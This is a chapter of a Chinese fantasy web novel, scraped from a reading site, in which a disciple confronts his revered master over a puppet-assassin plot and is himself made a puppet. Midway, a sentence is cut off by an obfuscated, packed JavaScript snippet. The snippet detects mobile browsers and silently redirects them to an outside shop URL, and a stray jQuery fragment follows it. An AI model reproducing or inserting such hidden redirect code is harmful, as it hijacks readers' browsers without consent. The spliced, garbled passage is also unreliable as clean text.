文趣网 > 其他小说 > 摆烂神仙的自我修养 > 18. 怀疑2——成真
    情理之外又在意料之中的三击。

    姜子瑜像是全身被抽干力气一般,紧贴墙壁的脊背无力滑落,两眼发晕的跌坐在地上。

    师承是个很美妙的东西,它会让你的一招一式都带上师尊的影子,当你打出那惊世骇俗的一招时,旁人也得以窥见你背后的强者。当然,在判断是不是师尊标记过的傀儡时,师承也是最响亮的一记耳光,打的他头破血流,灵魂直颤。

    他最敬仰的、自小把他带上穹山、收他为首席大弟子的师尊姜堰——就是控制傀儡杀天命人的真凶。

    姜子瑜哭的不能自抑。

    墙前站的人,肩膀突然发颤,而后越来越强烈。

    “怎么了?”冬听雪闪身过去,把人转了过来,以为出了什么事。

    言祀笑的几乎岔了气,控制着不出声。

    “姜子瑜在试探,他知道了,明日会怎样抉择?”冬听雪看着言祀,沉声说道。

    傀儡咒不至于控制言祀,姜子瑜发出的指令是——避开冬听雪的怀疑,若是被姜堰控制叩墙三下。

    她立即顺着指令照做了。

    “人间正统刺杀凡人,搅动凡间本来就不中用的光景,算是什么罪?姜堰那个死东西敢让别人发现这狠毒心思吗?”言祀笑着半晌才说出一句完整的话。

    “他这么做的目的是什么?”冬听雪脑中大概过了一下事件原委,“我总觉得,我们漏掉了什么东西。”

    “他本来就是个神经病,有什么好质疑的。”言祀不以为然。

    不对劲,不对劲,肯定是遗漏了什么。

    “你除了这次下山,还帮姜堰做过什么?”他小心翼翼的问,生怕过往刺激到言祀。

    “也没什么吧,杀了一些修士。”她回忆道,“不死鸟不死不灭,我也不是每次都能活下来,死了太多次对以前的记忆会有些模糊。在这次彻底融合前,之前都是浑浑噩噩的,记不清具体的什么。”

    冬听雪低下头,屋内没有燃灯,昏暗给他染上郁色。

    “五年前,炼化不死鸟,我被阿姐带回血族。那时他的地位比我初识时高不少,短短五年,大抵是用你排除异己,登上穹山掌门。我当初想,祸乱人间修仙者会更为少见,天下宝地就那么一点,人少资源多,穹山必然一骑绝尘,称霸整个修真界。

    “可是现在回想起来,这个理由似乎——并不是那么的合理。”

    冬听雪还是想不通,在房中来回踱步,“这么大的代价,顶着被上界发现的压力,只是为了凌驾在所有仙门之上?”他见识过姜堰的本事,心中佩服却又替他惋惜,奈何生成了人。哪怕生在修仙世家,早早入了道途,只怕是早飞升了。

    “其实我也想过这个问题,在道观中也怀疑过。不过——”言祀有些意外,“你那五年,不是放手不管,是……回了血族?”

    “不错,神帝发现之后震怒三界,不知阿姐怎么晓得是我放的,你醒没多久就把我关在血族。”

    言祀心中不知为何松快了不少,她轻吐口气,连着心中那点说不清道不明的别扭感一起吐了出去。

    说不恨是假的,言祀可太耿耿于怀了。暗无天日的日子,纵使现在记得恍惚,可确实是实实在在经历过的。生不如死的感觉和沦为工具的恨意,早就掩盖过当年的救命之恩。

    “要弄清这一切,我们得上穹山。”冬听雪笃定的说道。

    言祀点点头,她又无所谓,只要姜堰能死,无论什么死法怎么死她都开心。

    知道下一步计划怎么做,她继续回床上躺着,等待天明。

    “对不起。”

    言祀掀开被子,瞅着冬听雪,心中有些被压抑的情绪慢慢复苏。她看清了,平常好看温和的脸庞,此时充斥着后悔自责和一种她看不懂的复杂情绪。

    “我……真的不知道会这样,真的……是我自己天真,太……天真了,我不该的。”冬听雪说话有些语无伦次,每次做事胸有成竹的人,也会慌乱无措。

    “我已经不在意了。”言祀说道,她静静地望向窗外,窗外黑漆漆的,什么都看不到。

    “你也……不是故意的。

    “我乃堂堂神界言祀神君,本就一世无双绝代风华,人间有大把我的宫观庙宇上贡香火。在下虽摆烂不喜修炼,可这天地间,我本就是祥瑞的化身。你既不是有意的,也算是救了我,是姜堰那个死东西害我,与你无关。”

    她眼中有傲色,轻仰下巴,仿佛对一切势在必得。

    “我从不妄自菲薄,也不会自暴自弃。哪怕今日你们两人合伙害我至此,我也一样会逃出来,剥皮抽筋扬了你们的骨灰魂魄。”

    冬听雪低声轻笑,“嗯,你会的。”

    他走过去拍拍言祀的肩,视线与她对上,目光温柔又欣赏,“莫要多想,姜堰会解决的。”

    “你也是。”

    “好。”冬听雪认真回答。

    深宵将尽,房间浸在一片彻底的安静里。窗外不再是纯粹的黑,东边天际晕开淡淡的鱼肚白,微光丝丝缕缕渗进窗缝。屋内器物轮廓柔和模糊,万籁俱寂。长夜快要走到尽头,清冷柔和的天光一点点蚕食夜色,安静裹着一室微凉,静待天光彻底铺满人间。

    姜子瑜不知是淋雨生病还是如何,身上带着病气,眼下重重的乌黑,一晚上好似老了十岁,俊朗的青年愣是变成了胡子拉碴的中年人。

    言祀惊讶的捂着嘴,惊呼:“这位仙师,你是遭了什么邪?!”

    这是几天来言祀第一次在姜子瑜前说话,声线脆生生的好听。

    “这位是天下无所不能的血族殿下,你要是有什么邪门歪道的人或者事,告诉他,包能一次解决,还你的清静。”她指着冬听雪说的指桑骂槐,笑的格外虚情假意。

    姜子瑜不想搭理她那浮夸的嘲弄和暗指,虚虚的做个抱拳礼,“我突然想起还有点急事,小殿下就不能同行了。”

    冬听雪点点头,表示知道了。

    “我也打算带着她去穹山见你师尊了。”

    “哦……哦,好……”他失落落魄的不知在储物袋中翻找着什么,“小殿下保重。”

    突然想起自己是要缩地施法赶回穹山去,又忙急忙慌举个爪子念咒。

    人来人往的街上他这个行为看上去十分的怪异,来来往往的人都好奇的盯着他,姜子瑜毫无察觉,晃头晃脑的念错好几段,半天施不了法,气的自己眼下越来越黑险些心梗。

    “他是受刺激疯了吗?”言祀给冬听雪传音说道。

    冬听雪瞧着也好笑,好心提醒,“此地不便,还有你念错了。”

    他话音还未落,姜子瑜可算是念对了一回,咻的一下消失在闹市中。

    啧啧啧,真是不讲究。言祀翻了个白眼,墨色衣袖轻挥,众人便忘了刚刚有个人活生生消失的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677067|207520||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    场景,继续各自忙各自的。

    姜子瑜绕着穹山茫然的绕了一大圈,才找到入口。一路上不少弟子给他打招呼,他只是恍惚的点头,回到自己的小岛上看着繁枝的玉兰,才稍稍安心些。

    月白长袍的人站在主殿供着的神像下,乌发用一根温润的玉兰木簪束着,发尾垂在腰间。一块明黄色腰带上绣着繁杂奇怪像是铭文的图案。整个人身量不高,却如同一块温润的羊脂玉,柔润的叫人心生怜惜。

    “无故下山不予告知,你可知错?”

    是姜堰。姜子瑜痛苦的闭了闭眼,殿中香火味很浓,不知是熏的眼睛还是难过的,再睁眼时,竟有些泪眼婆娑。

    他跪的缓慢,跪的犹豫,但还是头磕在地,“师尊。”

    “去领罚。”姜堰的声音毫无波澜。

    姜子瑜半晌没动,最后才从嗓子间一个字一个字挤出,“师尊你为何那么做?”

    沉默……

    长久地沉默……

    姜子瑜头一回觉得时间如此漫长,他无数次期盼下一秒师尊能多说些什么,哪怕解释一句,哪怕说不是他干的……哪怕只是骗他的。

    然而,并没有。殿里静悄悄的,只听得见自己的心跳声。

    “师尊,五年前您带回一个姑娘把她藏在密室。您当时对我说,她是你见过最好的女子。弟子以为师尊是要将她收入门下,当时心底还有不服,弟子当时想,能比弟子更出众吗?”姜子瑜抬头,嘴角带着自嘲。

    “师尊教她武功,教她战术,教她比弟子还用心……师尊是个极好的人,弟子一直都坚信。

    “可是——她为何会成了师尊你的傀儡,师尊你的傀儡为何又在人间杀凡人和气运之子!”

    他的声音突然拔高,却又止不住的低下身子大声哭泣起来。

    姜堰还是无声的望着他,长久地沉默。

    姜子瑜不解,跪着爬到姜堰脚下,“师尊,我幼时你带我入山,教我做人的道理,你说要慈悲为怀,为什么,为什么啊师尊?为什么啊?”

    为何是自己做的,还叫他下山,叫他发现了端倪。为什么不能偷偷做了,叫自己一辈子也发现不了,他们继续在穹山扮演好师尊好徒儿的戏码。

    人总是不能接受自己心目中最神圣的形象轰然倒塌,才后知后觉一切都是自己的臆想。

    冰冷的手抚摸他的头顶,姜子瑜惊喜的抬头,以为师尊终于肯解释了。

    惊喜的表情还僵在他脸上,脑中像是被人灌进了无数尖针,刺的他凄厉的惨叫。好似有一只手在他脑中捏来捏去,不断试探拉扯他的灵魂。

    痛痛痛痛痛痛痛痛痛痛痛痛痛痛痛!

    太疼了!!!

    姜子瑜一开始叫声骇人,逐渐来自灵魂的痛楚叫他连声音都发不出,在地上不省人事的抽搐。

    是傀儡术。

    姜堰收了手,满意的看着从地上缓缓爬起的姜子瑜。

    年轻人有些不注意身体,面上还有些憔悴,对着他敬仰钦佩的笑容却不变。

    姜堰心情不错的说,“去领罚吧。”

    “是,师尊。”笑的人畜无害,仿佛刚才的歇斯底里都是错觉。

    远处的净瓷目睹一切瞳孔骤缩,捂着嘴半天不敢出声,慌不择路的朝别处逃去。

    姜堰像是察觉到了什么,黑眼珠看似漫不经心的落在净瓷的藏身处,不知道在想什么。